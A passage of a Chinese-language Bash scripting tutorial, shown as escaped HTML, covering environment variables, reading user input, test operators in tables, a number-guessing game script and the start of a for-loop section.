 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;主机名: $HOSTNAME&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;主机名: myserver&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;$OSTYPE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;操作系统类型&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;echo &amp;quot;系统类型: $OSTYPE&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;系统类型: linux-gnu&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="用户输入"&gt;用户输入
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Hello there, would you like to learn how to hack: Y/N?&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; answer &lt;span class="c1"&gt;# 把用户输入存到answer变量中&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Your answer was &lt;/span&gt;&lt;span class="nv"&gt;$answer&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516134506136" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516134506136.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Prompt the user for credentials&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Penetration Testing with Kali Linux 2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# PWK 2.0 Copyright © Offensive Security Ltd. All rights reserved. 110&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s1"&gt;&amp;#39;Username: &amp;#39;&lt;/span&gt; username &lt;span class="c1"&gt;# 输出提示的同时将用户输入存入username变量&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -sp &lt;span class="s1"&gt;&amp;#39;Password: &amp;#39;&lt;/span&gt; password &lt;span class="c1"&gt;# 输出提示的同时将用户输入存入password变量，且不显示，用于密码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Thanks, your creds are as follows: &amp;#34;&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; and &amp;#34;&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516134819426" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516134819426.png"&gt;&lt;/p&gt;
&lt;h2 id="判断"&gt;判断
&lt;/h2&gt;&lt;h3 id="bash-条件测试操作符详解"&gt;&lt;strong&gt;Bash 条件测试操作符详解&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="逻辑操作符"&gt;&lt;strong&gt;逻辑操作符&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;操作符&lt;/th&gt;
 &lt;th style="text-align: center"&gt;描述&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;! EXPRESSION&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;对表达式取反（非）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if ! [ -e file ]&lt;/code&gt; → 文件不存在时条件为真&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="字符串比较"&gt;&lt;strong&gt;字符串比较&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;操作符&lt;/th&gt;
 &lt;th style="text-align: center"&gt;描述&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-n STRING&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;字符串长度大于零（非空）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -n &amp;quot;$name&amp;quot; ]&lt;/code&gt; → 检查变量 &lt;code&gt;name&lt;/code&gt; 是否非空&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-z STRING&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;字符串长度为零（空）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -z &amp;quot;$error&amp;quot; ]&lt;/code&gt; → 检查变量 &lt;code&gt;error&lt;/code&gt; 是否为空&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;STRING1 = STRING2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;字符串相等&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$os&amp;quot; = &amp;quot;Linux&amp;quot; ]&lt;/code&gt; → 判断系统是否为 Linux&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;STRING1 != STRING2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;字符串不相等&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$input&amp;quot; != &amp;quot;exit&amp;quot; ]&lt;/code&gt; → 输入不是 &amp;ldquo;exit&amp;rdquo; 时条件为真&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="整数比较"&gt;&lt;strong&gt;整数比较&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;操作符&lt;/th&gt;
 &lt;th style="text-align: center"&gt;描述&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -eq INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;等于（Equal）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$a&amp;quot; -eq 5 ]&lt;/code&gt; → 判断 &lt;code&gt;a&lt;/code&gt; 是否等于 5&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -ne INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;不等于（Not Equal）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$retry&amp;quot; -ne 0 ]&lt;/code&gt; → 重试次数不为 0&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -gt INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;大于（Greater Than）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$score&amp;quot; -gt 60 ]&lt;/code&gt; → 分数超过 60&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -lt INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;小于（Less Than）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$age&amp;quot; -lt 18 ]&lt;/code&gt; → 年龄小于 18&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -ge INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;大于等于（Greater or Equal）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$count&amp;quot; -ge 10 ]&lt;/code&gt; → 计数达到或超过 10&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;INT1 -le INT2&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;小于等于（Less or Equal）&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ &amp;quot;$time&amp;quot; -le 30 ]&lt;/code&gt; → 时间小于等于 30 秒&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="文件测试"&gt;&lt;strong&gt;文件测试&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;操作符&lt;/th&gt;
 &lt;th style="text-align: center"&gt;描述&lt;/th&gt;
 &lt;th style="text-align: center"&gt;示例&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-d FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且是目录&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -d &amp;quot;/tmp&amp;quot; ]&lt;/code&gt; → 检查 &lt;code&gt;/tmp&lt;/code&gt; 是否是目录&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-e FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -e &amp;quot;log.txt&amp;quot; ]&lt;/code&gt; → 检查 &lt;code&gt;log.txt&lt;/code&gt; 是否存在&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-r FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且有读权限&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -r &amp;quot;config.cfg&amp;quot; ]&lt;/code&gt; → 检查配置文件是否可读&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-s FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且非空&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -s &amp;quot;data.csv&amp;quot; ]&lt;/code&gt; → 检查数据文件是否有内容&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-w FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且有写权限&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -w &amp;quot;output.log&amp;quot; ]&lt;/code&gt; → 检查日志文件是否可写&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;-x FILE&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;文件存在且有执行权限&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;if [ -x &amp;quot;install.sh&amp;quot; ]&lt;/code&gt; → 检查安装脚本是否有执行权限&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;新建一个文件**&lt;code&gt;number_game.sh&lt;/code&gt;**&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成随机数，用户猜测数字比大小&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 生成1-100的随机数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;RANDOM &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="m"&gt;100&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;attempts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;max_attempts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;欢迎来到猜数字游戏！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;我已生成一个1到100之间的整数，你有&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;max_attempts&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;次机会猜中它。&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$attempts&lt;/span&gt; -lt &lt;span class="nv"&gt;$max_attempts&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;((&lt;/span&gt;attempts++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;remaining&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;max_attempts &lt;span class="o"&gt;-&lt;/span&gt; attempts &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;第&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;attempts&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;次猜测（剩余&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;remaining&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;次）：&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; guess
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查输入是否为空或非数字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$guess&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误：输入不能为空！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;attempts--&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; ! &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$guess&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^&lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;+$ &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误：请输入数字！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;((&lt;/span&gt;attempts--&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 比较数字&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$guess&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -eq &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;恭喜！你在第&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;attempts&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;次猜中了正确答案：&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$guess&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -lt &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$target&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;提示：你猜的数字太小了！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;提示：你猜的数字太大了！&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;很遗憾，你已经用完所有次数。正确答案是：&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;。&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516135653801" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516135653801.png"&gt;&lt;/p&gt;
&lt;h2 id="循环"&gt;循环
&lt;/h2&gt;&lt;h3 id="1"&gt;&lt;strong&gt;1. &lt;code&gt;for&lt;/code&gt; 循环&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="基本语法"&gt;&lt;strong&gt;基本语法&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; 变量 in 列表&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;循环体
